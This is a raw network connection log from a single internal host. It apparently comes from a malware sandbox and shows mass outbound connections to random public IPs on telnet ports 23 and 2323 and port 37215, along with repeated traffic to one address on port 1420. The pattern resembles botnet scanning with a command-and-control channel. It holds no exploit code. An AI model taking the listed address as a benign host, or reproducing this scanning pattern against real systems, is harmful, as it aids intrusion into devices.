Nov 3, 2024 15:37:11.513595104 CET	58094	37215	192.168.2.14	41.244.244.133
Nov 3, 2024 15:37:11.513592958 CET	44948	37215	192.168.2.14	197.221.48.42
Nov 3, 2024 15:37:11.513595104 CET	58780	37215	192.168.2.14	156.240.132.73
Nov 3, 2024 15:37:11.513602018 CET	45912	37215	192.168.2.14	156.3.68.118
Nov 3, 2024 15:37:11.513622046 CET	51090	37215	192.168.2.14	197.186.94.152
Nov 3, 2024 15:37:11.513627052 CET	34450	37215	192.168.2.14	41.76.90.76
Nov 3, 2024 15:37:11.513628006 CET	49894	37215	192.168.2.14	156.82.171.243
Nov 3, 2024 15:37:11.513632059 CET	60990	37215	192.168.2.14	197.101.24.187
Nov 3, 2024 15:37:11.513648033 CET	45636	37215	192.168.2.14	156.6.240.146
Nov 3, 2024 15:37:11.513648987 CET	60024	37215	192.168.2.14	41.7.176.72
Nov 3, 2024 15:37:11.513649940 CET	52090	37215	192.168.2.14	41.54.97.120
Nov 3, 2024 15:37:11.513650894 CET	48398	37215	192.168.2.14	197.203.30.80
Nov 3, 2024 15:37:11.513652086 CET	48330	37215	192.168.2.14	197.52.180.114
Nov 3, 2024 15:37:11.513652086 CET	56260	37215	192.168.2.14	41.151.17.247
Nov 3, 2024 15:37:11.513652086 CET	60482	37215	192.168.2.14	41.205.138.252
Nov 3, 2024 15:37:11.513664961 CET	49958	37215	192.168.2.14	156.231.92.232
Nov 3, 2024 15:37:11.513670921 CET	60010	37215	192.168.2.14	41.88.174.183
Nov 3, 2024 15:37:11.513674021 CET	42774	37215	192.168.2.14	41.60.20.249
Nov 3, 2024 15:37:11.513674974 CET	55634	37215	192.168.2.14	197.74.217.151
Nov 3, 2024 15:37:11.513683081 CET	59162	37215	192.168.2.14	41.170.28.241
Nov 3, 2024 15:37:11.513684988 CET	57174	37215	192.168.2.14	156.198.165.118
Nov 3, 2024 15:37:11.513684988 CET	50528	37215	192.168.2.14	41.22.236.138
Nov 3, 2024 15:37:11.513689995 CET	58748	37215	192.168.2.14	197.60.154.142
Nov 3, 2024 15:37:11.513693094 CET	46938	37215	192.168.2.14	197.250.124.146
Nov 3, 2024 15:37:11.513696909 CET	45462	37215	192.168.2.14	197.180.110.71
Nov 3, 2024 15:37:11.513696909 CET	59496	37215	192.168.2.14	197.147.6.122
Nov 3, 2024 15:37:11.513710022 CET	38506	37215	192.168.2.14	41.145.248.74
Nov 3, 2024 15:37:11.513712883 CET	36084	37215	192.168.2.14	197.7.120.21
Nov 3, 2024 15:37:11.513712883 CET	44242	37215	192.168.2.14	197.213.53.56
Nov 3, 2024 15:37:11.513717890 CET	50054	37215	192.168.2.14	41.228.42.126
Nov 3, 2024 15:37:11.513719082 CET	40446	37215	192.168.2.14	41.85.120.162
Nov 3, 2024 15:37:11.513721943 CET	46700	37215	192.168.2.14	41.20.5.150
Nov 3, 2024 15:37:11.513721943 CET	51738	37215	192.168.2.14	41.56.133.109
Nov 3, 2024 15:37:11.513725042 CET	60604	37215	192.168.2.14	197.127.15.67
Nov 3, 2024 15:37:11.513731956 CET	35776	37215	192.168.2.14	156.201.202.122
Nov 3, 2024 15:37:11.513771057 CET	47718	37215	192.168.2.14	41.253.117.242
Nov 3, 2024 15:37:11.513772964 CET	48452	23	192.168.2.14	181.52.98.68
Nov 3, 2024 15:37:11.513776064 CET	44706	37215	192.168.2.14	41.118.32.70
Nov 3, 2024 15:37:11.513777971 CET	45840	37215	192.168.2.14	197.4.84.67
Nov 3, 2024 15:37:11.513777971 CET	57350	37215	192.168.2.14	156.178.245.151
Nov 3, 2024 15:37:11.513777971 CET	57936	37215	192.168.2.14	197.43.82.24
Nov 3, 2024 15:37:11.513777971 CET	45144	23	192.168.2.14	160.89.255.184
Nov 3, 2024 15:37:11.513777971 CET	33130	37215	192.168.2.14	197.152.148.149
Nov 3, 2024 15:37:11.513793945 CET	44700	23	192.168.2.14	159.37.133.208
Nov 3, 2024 15:37:11.513793945 CET	52566	23	192.168.2.14	108.3.230.119
Nov 3, 2024 15:37:11.513796091 CET	38820	23	192.168.2.14	5.71.100.114
Nov 3, 2024 15:37:11.513796091 CET	53350	23	192.168.2.14	126.33.229.198
Nov 3, 2024 15:37:11.513796091 CET	47862	23	192.168.2.14	114.132.2.196
Nov 3, 2024 15:37:11.513797045 CET	51304	23	192.168.2.14	154.32.50.30
Nov 3, 2024 15:37:11.513798952 CET	34750	23	192.168.2.14	211.143.98.145
Nov 3, 2024 15:37:11.513798952 CET	36068	23	192.168.2.14	211.194.75.181
Nov 3, 2024 15:37:11.513799906 CET	56978	23	192.168.2.14	205.217.233.80
Nov 3, 2024 15:37:11.513833046 CET	44506	23	192.168.2.14	107.119.15.67
Nov 3, 2024 15:37:11.513833046 CET	34810	23	192.168.2.14	179.64.170.171
Nov 3, 2024 15:37:11.513833046 CET	44186	2323	192.168.2.14	2.242.225.206
Nov 3, 2024 15:37:11.513833046 CET	39090	2323	192.168.2.14	124.199.53.187
Nov 3, 2024 15:37:11.513838053 CET	53244	23	192.168.2.14	27.253.80.216
Nov 3, 2024 15:37:11.513839006 CET	52076	23	192.168.2.14	158.59.156.239
Nov 3, 2024 15:37:11.513839006 CET	44274	23	192.168.2.14	35.107.7.74
Nov 3, 2024 15:37:11.513839960 CET	48924	23	192.168.2.14	144.24.164.98
Nov 3, 2024 15:37:11.513842106 CET	44140	23	192.168.2.14	142.128.214.133
Nov 3, 2024 15:37:11.513842106 CET	50484	23	192.168.2.14	195.40.216.94
Nov 3, 2024 15:37:11.513842106 CET	50518	23	192.168.2.14	73.99.18.24
Nov 3, 2024 15:37:11.513842106 CET	53596	23	192.168.2.14	186.158.159.146
Nov 3, 2024 15:37:11.513842106 CET	59324	23	192.168.2.14	19.21.233.59
Nov 3, 2024 15:37:11.513844013 CET	36614	23	192.168.2.14	167.176.177.179
Nov 3, 2024 15:37:11.513844013 CET	60726	23	192.168.2.14	47.253.35.131
Nov 3, 2024 15:37:11.513844013 CET	39610	23	192.168.2.14	217.133.166.36
Nov 3, 2024 15:37:11.513844013 CET	56568	2323	192.168.2.14	42.44.11.242
Nov 3, 2024 15:37:11.513854980 CET	37215	35682	156.225.156.99	192.168.2.14
Nov 3, 2024 15:37:11.513861895 CET	36778	23	192.168.2.14	220.175.15.213
Nov 3, 2024 15:37:11.513861895 CET	51836	23	192.168.2.14	48.53.153.29
Nov 3, 2024 15:37:11.513861895 CET	50218	23	192.168.2.14	34.92.143.149
Nov 3, 2024 15:37:11.513863087 CET	40080	23	192.168.2.14	95.7.248.48
Nov 3, 2024 15:37:11.513863087 CET	53620	23	192.168.2.14	158.98.248.155
Nov 3, 2024 15:37:11.513864040 CET	49716	23	192.168.2.14	125.253.59.164
Nov 3, 2024 15:37:11.513864040 CET	55274	23	192.168.2.14	149.96.22.119
Nov 3, 2024 15:37:11.513864994 CET	58904	23	192.168.2.14	193.225.59.23
Nov 3, 2024 15:37:11.513864994 CET	60842	23	192.168.2.14	77.107.154.14
Nov 3, 2024 15:37:11.513864994 CET	42394	23	192.168.2.14	4.246.132.96
Nov 3, 2024 15:37:11.513866901 CET	37850	23	192.168.2.14	188.106.7.94
Nov 3, 2024 15:37:11.513869047 CET	40568	23	192.168.2.14	187.103.207.15
Nov 3, 2024 15:37:11.513869047 CET	59262	23	192.168.2.14	92.244.50.65
Nov 3, 2024 15:37:11.513869047 CET	47118	23	192.168.2.14	57.65.200.63
Nov 3, 2024 15:37:11.513869047 CET	41168	23	192.168.2.14	194.211.140.76
Nov 3, 2024 15:37:11.513871908 CET	59170	23	192.168.2.14	71.134.193.73
Nov 3, 2024 15:37:11.513871908 CET	33056	23	192.168.2.14	37.47.89.15
Nov 3, 2024 15:37:11.513871908 CET	48362	23	192.168.2.14	34.114.183.65
Nov 3, 2024 15:37:11.513887882 CET	60544	23	192.168.2.14	104.70.203.187
Nov 3, 2024 15:37:11.513887882 CET	34908	23	192.168.2.14	101.46.247.29
Nov 3, 2024 15:37:11.513887882 CET	40172	23	192.168.2.14	167.166.144.245
Nov 3, 2024 15:37:11.513889074 CET	54354	23	192.168.2.14	97.181.70.209
Nov 3, 2024 15:37:11.513887882 CET	53450	2323	192.168.2.14	98.140.174.214
Nov 3, 2024 15:37:11.513889074 CET	58420	23	192.168.2.14	190.15.21.214
Nov 3, 2024 15:37:11.513890028 CET	59506	23	192.168.2.14	213.78.197.207
Nov 3, 2024 15:37:11.513887882 CET	60848	23	192.168.2.14	46.111.118.134
Nov 3, 2024 15:37:11.513892889 CET	34096	2323	192.168.2.14	123.238.12.9
Nov 3, 2024 15:37:11.513892889 CET	47030	23	192.168.2.14	193.35.112.167
Nov 3, 2024 15:37:11.513890028 CET	43946	23	192.168.2.14	177.104.152.31
Nov 3, 2024 15:37:11.513887882 CET	41704	23	192.168.2.14	72.148.227.215
Nov 3, 2024 15:37:11.513892889 CET	42408	37215	192.168.2.14	156.7.194.104
Nov 3, 2024 15:37:11.513890028 CET	57456	23	192.168.2.14	111.32.97.128
Nov 3, 2024 15:37:11.513895988 CET	57798	23	192.168.2.14	156.65.37.226
Nov 3, 2024 15:37:11.513895988 CET	42600	2323	192.168.2.14	173.123.4.216
Nov 3, 2024 15:37:11.513895988 CET	53708	23	192.168.2.14	89.178.158.237
Nov 3, 2024 15:37:11.513895988 CET	56568	23	192.168.2.14	113.146.176.7
Nov 3, 2024 15:37:11.513892889 CET	56258	23	192.168.2.14	19.66.87.102
Nov 3, 2024 15:37:11.513895988 CET	58238	23	192.168.2.14	217.172.159.38
Nov 3, 2024 15:37:11.513905048 CET	48052	23	192.168.2.14	189.9.147.99
Nov 3, 2024 15:37:11.513907909 CET	41012	23	192.168.2.14	83.75.122.68
Nov 3, 2024 15:37:11.513909101 CET	60436	23	192.168.2.14	40.202.230.225
Nov 3, 2024 15:37:11.513912916 CET	53380	2323	192.168.2.14	176.239.168.154
Nov 3, 2024 15:37:11.513912916 CET	33182	23	192.168.2.14	102.73.14.35
Nov 3, 2024 15:37:11.513912916 CET	56592	23	192.168.2.14	113.166.236.48
Nov 3, 2024 15:37:11.513914108 CET	40258	23	192.168.2.14	204.30.145.134
Nov 3, 2024 15:37:11.513912916 CET	59010	23	192.168.2.14	194.111.203.19
Nov 3, 2024 15:37:11.513933897 CET	58872	23	192.168.2.14	53.179.182.227
Nov 3, 2024 15:37:11.513936043 CET	53916	2323	192.168.2.14	211.187.163.172
Nov 3, 2024 15:37:11.513938904 CET	47002	23	192.168.2.14	200.73.4.192
Nov 3, 2024 15:37:11.513940096 CET	49458	23	192.168.2.14	117.187.252.252
Nov 3, 2024 15:37:11.513941050 CET	49206	23	192.168.2.14	94.211.102.37
Nov 3, 2024 15:37:11.513941050 CET	40052	23	192.168.2.14	198.149.119.126
Nov 3, 2024 15:37:11.513942003 CET	33036	23	192.168.2.14	53.6.227.181
Nov 3, 2024 15:37:11.513941050 CET	39422	23	192.168.2.14	216.154.32.150
Nov 3, 2024 15:37:11.513941050 CET	53452	23	192.168.2.14	133.246.198.193
Nov 3, 2024 15:37:11.513941050 CET	57724	23	192.168.2.14	182.18.189.14
Nov 3, 2024 15:37:11.513942003 CET	49122	23	192.168.2.14	158.111.45.20
Nov 3, 2024 15:37:11.513942003 CET	53512	23	192.168.2.14	76.151.198.48
Nov 3, 2024 15:37:11.513942003 CET	56688	2323	192.168.2.14	40.29.69.57
Nov 3, 2024 15:37:11.513942003 CET	42236	23	192.168.2.14	192.101.222.212
Nov 3, 2024 15:37:11.513942003 CET	45876	23	192.168.2.14	70.41.158.155
Nov 3, 2024 15:37:11.513948917 CET	37296	23	192.168.2.14	12.229.181.141
Nov 3, 2024 15:37:11.513941050 CET	36334	23	192.168.2.14	112.36.219.79
Nov 3, 2024 15:37:11.513948917 CET	47440	23	192.168.2.14	59.73.242.243
Nov 3, 2024 15:37:11.513948917 CET	49980	23	192.168.2.14	190.101.205.167
Nov 3, 2024 15:37:11.513951063 CET	38196	23	192.168.2.14	14.84.132.26
Nov 3, 2024 15:37:11.513953924 CET	58914	23	192.168.2.14	46.254.41.21
Nov 3, 2024 15:37:11.513955116 CET	38786	23	192.168.2.14	58.180.112.255
Nov 3, 2024 15:37:11.513956070 CET	59864	23	192.168.2.14	95.95.105.118
Nov 3, 2024 15:37:11.513957977 CET	47320	23	192.168.2.14	200.43.66.135
Nov 3, 2024 15:37:11.513961077 CET	48932	23	192.168.2.14	154.146.183.93
Nov 3, 2024 15:37:11.513961077 CET	42398	23	192.168.2.14	54.121.110.247
Nov 3, 2024 15:37:11.513961077 CET	57452	23	192.168.2.14	65.106.77.236
Nov 3, 2024 15:37:11.513961077 CET	53180	23	192.168.2.14	58.248.159.67
Nov 3, 2024 15:37:11.513972044 CET	37012	23	192.168.2.14	115.213.254.52
Nov 3, 2024 15:37:11.513972044 CET	34482	23	192.168.2.14	91.194.136.78
Nov 3, 2024 15:37:11.513972998 CET	35862	23	192.168.2.14	194.195.119.223
Nov 3, 2024 15:37:11.513983965 CET	36900	37215	192.168.2.14	197.74.243.23
Nov 3, 2024 15:37:11.513983965 CET	34760	23	192.168.2.14	158.34.240.117
Nov 3, 2024 15:37:11.513983965 CET	54146	23	192.168.2.14	18.29.13.143
Nov 3, 2024 15:37:11.513983965 CET	37218	2323	192.168.2.14	1.12.84.67
Nov 3, 2024 15:37:11.513983965 CET	59242	23	192.168.2.14	14.65.113.88
Nov 3, 2024 15:37:11.513983965 CET	56960	23	192.168.2.14	158.253.61.118
Nov 3, 2024 15:37:11.513983965 CET	33462	23	192.168.2.14	69.81.122.152
Nov 3, 2024 15:37:11.513983965 CET	33202	23	192.168.2.14	147.167.150.68
Nov 3, 2024 15:37:11.513994932 CET	43356	23	192.168.2.14	223.189.226.43
Nov 3, 2024 15:37:11.513994932 CET	57410	23	192.168.2.14	110.104.107.135
Nov 3, 2024 15:37:11.513995886 CET	48914	23	192.168.2.14	62.98.53.29
Nov 3, 2024 15:37:11.513995886 CET	53068	23	192.168.2.14	220.201.163.92
Nov 3, 2024 15:37:11.513995886 CET	40206	23	192.168.2.14	48.166.71.75
Nov 3, 2024 15:37:11.513995886 CET	46656	23	192.168.2.14	93.77.214.197
Nov 3, 2024 15:37:11.513995886 CET	52990	23	192.168.2.14	163.66.150.50
Nov 3, 2024 15:37:11.513995886 CET	43526	23	192.168.2.14	220.79.181.27
Nov 3, 2024 15:37:11.514003992 CET	51688	2323	192.168.2.14	111.189.209.189
Nov 3, 2024 15:37:11.514003992 CET	36358	23	192.168.2.14	17.161.80.63
Nov 3, 2024 15:37:11.514004946 CET	41050	23	192.168.2.14	14.48.137.200
Nov 3, 2024 15:37:11.514004946 CET	52970	23	192.168.2.14	86.153.95.87
Nov 3, 2024 15:37:11.514004946 CET	39692	23	192.168.2.14	4.236.6.211
Nov 3, 2024 15:37:11.514004946 CET	48030	2323	192.168.2.14	204.135.188.133
Nov 3, 2024 15:37:11.514064074 CET	37215	33532	156.78.250.236	192.168.2.14
Nov 3, 2024 15:37:11.514437914 CET	37215	49894	197.3.79.206	192.168.2.14
Nov 3, 2024 15:37:11.514760971 CET	37215	33066	41.197.53.234	192.168.2.14
Nov 3, 2024 15:37:11.515103102 CET	37215	47282	156.66.38.190	192.168.2.14
Nov 3, 2024 15:37:11.515727043 CET	37215	47940	156.246.166.190	192.168.2.14
Nov 3, 2024 15:37:11.516248941 CET	37215	49060	41.104.189.119	192.168.2.14
Nov 3, 2024 15:37:11.516733885 CET	37215	56926	197.27.247.143	192.168.2.14
Nov 3, 2024 15:37:11.518752098 CET	37215	53538	197.25.98.119	192.168.2.14
Nov 3, 2024 15:37:11.518796921 CET	53538	37215	192.168.2.14	197.25.98.119
Nov 3, 2024 15:37:11.518929958 CET	53538	37215	192.168.2.14	197.25.98.119
Nov 3, 2024 15:37:11.518929958 CET	53538	37215	192.168.2.14	197.25.98.119
Nov 3, 2024 15:37:11.518959045 CET	53736	37215	192.168.2.14	197.25.98.119
Nov 3, 2024 15:37:11.523696899 CET	37215	53538	197.25.98.119	192.168.2.14
Nov 3, 2024 15:37:11.524595976 CET	37215	58762	156.178.4.247	192.168.2.14
Nov 3, 2024 15:37:11.524789095 CET	37215	58866	197.117.220.43	192.168.2.14
Nov 3, 2024 15:37:11.526339054 CET	37215	55646	156.45.242.111	192.168.2.14
Nov 3, 2024 15:37:11.526712894 CET	37215	55750	156.157.41.72	192.168.2.14
Nov 3, 2024 15:37:11.526896954 CET	37215	60094	156.236.57.150	192.168.2.14
Nov 3, 2024 15:37:11.529970884 CET	37215	56660	156.156.70.75	192.168.2.14
Nov 3, 2024 15:37:11.530261993 CET	37215	41288	197.172.150.90	192.168.2.14
Nov 3, 2024 15:37:11.530478001 CET	37215	45948	156.122.194.113	192.168.2.14
Nov 3, 2024 15:37:11.530653954 CET	37215	58138	156.56.65.215	192.168.2.14
Nov 3, 2024 15:37:11.530785084 CET	37215	39066	41.163.33.184	192.168.2.14
Nov 3, 2024 15:37:11.530906916 CET	37215	33424	156.93.99.76	192.168.2.14
Nov 3, 2024 15:37:11.531011105 CET	37215	55124	197.252.145.215	192.168.2.14
Nov 3, 2024 15:37:11.531114101 CET	37215	52942	156.147.112.122	192.168.2.14
Nov 3, 2024 15:37:11.531250954 CET	37215	33454	41.20.124.70	192.168.2.14
Nov 3, 2024 15:37:11.531471968 CET	37215	54204	41.100.58.25	192.168.2.14
Nov 3, 2024 15:37:11.531594038 CET	37215	47612	197.221.66.71	192.168.2.14
Nov 3, 2024 15:37:11.531718969 CET	37215	39812	197.7.160.38	192.168.2.14
Nov 3, 2024 15:37:11.531847954 CET	37215	41016	41.226.57.61	192.168.2.14
Nov 3, 2024 15:37:11.531987906 CET	37215	42908	41.61.175.218	192.168.2.14
Nov 3, 2024 15:37:11.532234907 CET	37215	35456	197.176.255.237	192.168.2.14
Nov 3, 2024 15:37:11.532340050 CET	37215	38642	156.246.61.185	192.168.2.14
Nov 3, 2024 15:37:11.532439947 CET	37215	32860	41.106.89.174	192.168.2.14
Nov 3, 2024 15:37:11.532541037 CET	37215	54432	156.246.219.40	192.168.2.14
Nov 3, 2024 15:37:11.532639027 CET	37215	53594	156.243.181.34	192.168.2.14
Nov 3, 2024 15:37:11.532762051 CET	37215	47172	41.194.161.217	192.168.2.14
Nov 3, 2024 15:37:11.532902956 CET	37215	60640	197.140.71.172	192.168.2.14
Nov 3, 2024 15:37:11.533123016 CET	37215	49242	41.12.251.234	192.168.2.14
Nov 3, 2024 15:37:11.533313036 CET	37215	54356	41.163.133.62	192.168.2.14
Nov 3, 2024 15:37:11.533510923 CET	37215	60998	41.31.230.34	192.168.2.14
Nov 3, 2024 15:37:11.533611059 CET	37215	45022	156.21.107.185	192.168.2.14
Nov 3, 2024 15:37:11.533752918 CET	37215	49032	156.111.125.131	192.168.2.14
Nov 3, 2024 15:37:11.533922911 CET	37215	56664	41.1.26.153	192.168.2.14
Nov 3, 2024 15:37:11.533978939 CET	37215	53538	197.25.98.119	192.168.2.14
Nov 3, 2024 15:37:11.537959099 CET	37215	52260	197.170.70.85	192.168.2.14
Nov 3, 2024 15:37:11.537976027 CET	37215	50894	197.213.145.152	192.168.2.14
Nov 3, 2024 15:37:12.208770990 CET	1420	34178	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:12.208964109 CET	34178	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:12.208985090 CET	34178	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:12.216773987 CET	34376	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:12.221605062 CET	1420	34376	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:12.221652031 CET	34376	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:12.221673965 CET	34376	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:12.226522923 CET	1420	34376	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:12.226561069 CET	34376	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:12.231358051 CET	1420	34376	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:12.500705957 CET	36201	2323	192.168.2.14	161.105.79.84
Nov 3, 2024 15:37:12.500724077 CET	36201	23	192.168.2.14	152.127.101.25
Nov 3, 2024 15:37:12.500730991 CET	36201	23	192.168.2.14	208.243.42.255
Nov 3, 2024 15:37:12.500746965 CET	36201	23	192.168.2.14	19.95.181.66
Nov 3, 2024 15:37:12.500791073 CET	36201	23	192.168.2.14	61.216.18.6
Nov 3, 2024 15:37:12.500806093 CET	36201	23	192.168.2.14	117.42.147.109
Nov 3, 2024 15:37:12.500865936 CET	36201	23	192.168.2.14	155.168.89.202
Nov 3, 2024 15:37:12.500869989 CET	36201	23	192.168.2.14	5.124.82.35
Nov 3, 2024 15:37:12.500869989 CET	36201	23	192.168.2.14	109.6.224.231
Nov 3, 2024 15:37:12.500869989 CET	36201	23	192.168.2.14	99.100.135.104
Nov 3, 2024 15:37:12.500886917 CET	36201	2323	192.168.2.14	75.173.106.238
Nov 3, 2024 15:37:12.500917912 CET	36201	23	192.168.2.14	182.144.249.54
Nov 3, 2024 15:37:12.500926971 CET	36201	23	192.168.2.14	19.244.91.30
Nov 3, 2024 15:37:12.500956059 CET	36201	23	192.168.2.14	85.78.190.163
Nov 3, 2024 15:37:12.500991106 CET	36201	23	192.168.2.14	168.132.251.239
Nov 3, 2024 15:37:12.500988007 CET	36201	23	192.168.2.14	171.156.40.101
Nov 3, 2024 15:37:12.501003981 CET	36201	23	192.168.2.14	88.0.240.0
Nov 3, 2024 15:37:12.501027107 CET	36201	23	192.168.2.14	1.247.81.107
Nov 3, 2024 15:37:12.501044989 CET	36201	23	192.168.2.14	68.51.111.59
Nov 3, 2024 15:37:12.501060963 CET	36201	23	192.168.2.14	117.216.244.227
Nov 3, 2024 15:37:12.501072884 CET	36201	2323	192.168.2.14	190.243.114.111
Nov 3, 2024 15:37:12.501076937 CET	36201	23	192.168.2.14	222.202.171.146
Nov 3, 2024 15:37:12.501085043 CET	36201	23	192.168.2.14	117.221.69.31
Nov 3, 2024 15:37:12.501086950 CET	36201	23	192.168.2.14	69.156.174.219
Nov 3, 2024 15:37:12.501091003 CET	36201	23	192.168.2.14	186.233.49.233
Nov 3, 2024 15:37:12.501096964 CET	36201	23	192.168.2.14	4.26.159.32
Nov 3, 2024 15:37:12.501102924 CET	36201	23	192.168.2.14	32.30.126.10
Nov 3, 2024 15:37:12.501111984 CET	36201	23	192.168.2.14	32.134.160.135
Nov 3, 2024 15:37:12.501112938 CET	36201	23	192.168.2.14	59.42.136.9
Nov 3, 2024 15:37:12.501116991 CET	36201	23	192.168.2.14	166.182.82.106
Nov 3, 2024 15:37:12.501138926 CET	36201	2323	192.168.2.14	120.70.176.143
Nov 3, 2024 15:37:12.501149893 CET	36201	23	192.168.2.14	70.3.58.177
Nov 3, 2024 15:37:12.501149893 CET	36201	23	192.168.2.14	5.205.176.69
Nov 3, 2024 15:37:12.501151085 CET	36201	23	192.168.2.14	72.88.168.150
Nov 3, 2024 15:37:12.501149893 CET	36201	23	192.168.2.14	146.126.116.142
Nov 3, 2024 15:37:12.501154900 CET	36201	23	192.168.2.14	47.10.221.56
Nov 3, 2024 15:37:12.501154900 CET	36201	23	192.168.2.14	188.95.71.206
Nov 3, 2024 15:37:12.501168966 CET	36201	2323	192.168.2.14	207.213.129.191
Nov 3, 2024 15:37:12.501168966 CET	36201	23	192.168.2.14	156.21.246.180
Nov 3, 2024 15:37:12.501168966 CET	36201	23	192.168.2.14	162.4.222.212
Nov 3, 2024 15:37:12.501169920 CET	36201	23	192.168.2.14	160.86.66.3
Nov 3, 2024 15:37:12.501168966 CET	36201	23	192.168.2.14	72.161.89.227
Nov 3, 2024 15:37:12.501169920 CET	36201	23	192.168.2.14	195.229.81.92
Nov 3, 2024 15:37:12.501168966 CET	36201	23	192.168.2.14	168.147.208.152
Nov 3, 2024 15:37:12.501168966 CET	36201	23	192.168.2.14	192.248.22.0
Nov 3, 2024 15:37:12.501172066 CET	36201	23	192.168.2.14	188.120.59.70
Nov 3, 2024 15:37:12.501172066 CET	36201	23	192.168.2.14	178.143.28.20
Nov 3, 2024 15:37:12.501172066 CET	36201	23	192.168.2.14	200.47.129.108
Nov 3, 2024 15:37:12.501178980 CET	36201	23	192.168.2.14	18.138.42.147
Nov 3, 2024 15:37:12.501187086 CET	36201	2323	192.168.2.14	157.3.196.212
Nov 3, 2024 15:37:12.501188040 CET	36201	23	192.168.2.14	9.108.123.234
Nov 3, 2024 15:37:12.501202106 CET	36201	23	192.168.2.14	72.233.132.145
Nov 3, 2024 15:37:12.501202106 CET	36201	23	192.168.2.14	181.205.112.137
Nov 3, 2024 15:37:12.501204967 CET	36201	23	192.168.2.14	141.118.30.79
Nov 3, 2024 15:37:12.501215935 CET	36201	23	192.168.2.14	78.86.113.99
Nov 3, 2024 15:37:12.501216888 CET	36201	23	192.168.2.14	171.79.99.233
Nov 3, 2024 15:37:12.501224995 CET	36201	23	192.168.2.14	163.246.128.149
Nov 3, 2024 15:37:12.501229048 CET	36201	23	192.168.2.14	13.130.237.224
Nov 3, 2024 15:37:12.501240969 CET	36201	23	192.168.2.14	72.152.122.146
Nov 3, 2024 15:37:12.501241922 CET	36201	23	192.168.2.14	139.210.39.9
Nov 3, 2024 15:37:12.501247883 CET	36201	23	192.168.2.14	107.177.228.58
Nov 3, 2024 15:37:12.501251936 CET	36201	2323	192.168.2.14	19.186.53.150
Nov 3, 2024 15:37:12.501260042 CET	36201	23	192.168.2.14	109.204.31.44
Nov 3, 2024 15:37:12.501262903 CET	36201	23	192.168.2.14	193.168.44.153
Nov 3, 2024 15:37:12.501276016 CET	36201	23	192.168.2.14	207.197.122.177
Nov 3, 2024 15:37:12.501279116 CET	36201	23	192.168.2.14	119.214.17.84
Nov 3, 2024 15:37:12.501283884 CET	36201	23	192.168.2.14	136.142.79.168
Nov 3, 2024 15:37:12.501288891 CET	36201	23	192.168.2.14	211.0.141.70
Nov 3, 2024 15:37:12.501292944 CET	36201	23	192.168.2.14	203.208.228.233
Nov 3, 2024 15:37:12.501302004 CET	36201	2323	192.168.2.14	176.109.96.17
Nov 3, 2024 15:37:12.501310110 CET	36201	23	192.168.2.14	169.60.103.112
Nov 3, 2024 15:37:12.501322031 CET	36201	23	192.168.2.14	41.232.150.186
Nov 3, 2024 15:37:12.501322031 CET	36201	23	192.168.2.14	18.20.206.174
Nov 3, 2024 15:37:12.501322985 CET	36201	23	192.168.2.14	167.64.202.72
Nov 3, 2024 15:37:12.501323938 CET	36201	23	192.168.2.14	156.123.111.160
Nov 3, 2024 15:37:12.501323938 CET	36201	23	192.168.2.14	66.105.145.179
Nov 3, 2024 15:37:12.501333952 CET	36201	23	192.168.2.14	105.132.49.43
Nov 3, 2024 15:37:12.501333952 CET	36201	23	192.168.2.14	211.53.235.177
Nov 3, 2024 15:37:12.501342058 CET	36201	23	192.168.2.14	146.196.6.6
Nov 3, 2024 15:37:12.501354933 CET	36201	2323	192.168.2.14	171.113.176.42
Nov 3, 2024 15:37:12.501354933 CET	36201	23	192.168.2.14	208.145.22.107
Nov 3, 2024 15:37:12.501357079 CET	36201	23	192.168.2.14	85.197.88.35
Nov 3, 2024 15:37:12.501357079 CET	36201	23	192.168.2.14	105.47.13.43
Nov 3, 2024 15:37:12.501357079 CET	36201	23	192.168.2.14	75.243.155.167
Nov 3, 2024 15:37:12.501374006 CET	36201	23	192.168.2.14	141.29.173.133
Nov 3, 2024 15:37:12.501374006 CET	36201	23	192.168.2.14	44.174.101.48
Nov 3, 2024 15:37:12.501375914 CET	36201	23	192.168.2.14	142.112.249.49
Nov 3, 2024 15:37:12.501378059 CET	36201	23	192.168.2.14	17.158.213.211
Nov 3, 2024 15:37:12.501384974 CET	36201	23	192.168.2.14	78.208.64.189
Nov 3, 2024 15:37:12.501396894 CET	36201	2323	192.168.2.14	220.1.79.64
Nov 3, 2024 15:37:12.501399040 CET	36201	23	192.168.2.14	41.8.225.238
Nov 3, 2024 15:37:12.501406908 CET	36201	23	192.168.2.14	78.21.241.129
Nov 3, 2024 15:37:12.501414061 CET	36201	23	192.168.2.14	106.162.181.41
Nov 3, 2024 15:37:12.501416922 CET	36201	23	192.168.2.14	94.82.68.129
Nov 3, 2024 15:37:12.501424074 CET	36201	23	192.168.2.14	70.75.129.81
Nov 3, 2024 15:37:12.501434088 CET	36201	23	192.168.2.14	192.85.1.120
Nov 3, 2024 15:37:12.501434088 CET	36201	23	192.168.2.14	106.49.196.238
Nov 3, 2024 15:37:12.501442909 CET	36201	23	192.168.2.14	69.255.150.112
Nov 3, 2024 15:37:12.501447916 CET	36201	23	192.168.2.14	135.20.64.39
Nov 3, 2024 15:37:12.501458883 CET	36201	23	192.168.2.14	222.87.145.7
Nov 3, 2024 15:37:12.501463890 CET	36201	2323	192.168.2.14	145.164.75.106
Nov 3, 2024 15:37:12.501471043 CET	36201	23	192.168.2.14	130.236.137.83
Nov 3, 2024 15:37:12.501486063 CET	36201	23	192.168.2.14	94.170.221.73
Nov 3, 2024 15:37:12.501490116 CET	36201	23	192.168.2.14	151.209.0.140
Nov 3, 2024 15:37:12.501493931 CET	36201	23	192.168.2.14	106.75.22.202
Nov 3, 2024 15:37:12.501494884 CET	36201	23	192.168.2.14	187.107.232.193
Nov 3, 2024 15:37:12.501496077 CET	36201	23	192.168.2.14	1.214.189.112
Nov 3, 2024 15:37:12.501502037 CET	36201	23	192.168.2.14	2.114.132.161
Nov 3, 2024 15:37:12.501509905 CET	36201	23	192.168.2.14	198.140.122.146
Nov 3, 2024 15:37:12.501512051 CET	36201	23	192.168.2.14	17.222.155.73
Nov 3, 2024 15:37:12.501523972 CET	36201	23	192.168.2.14	53.104.14.213
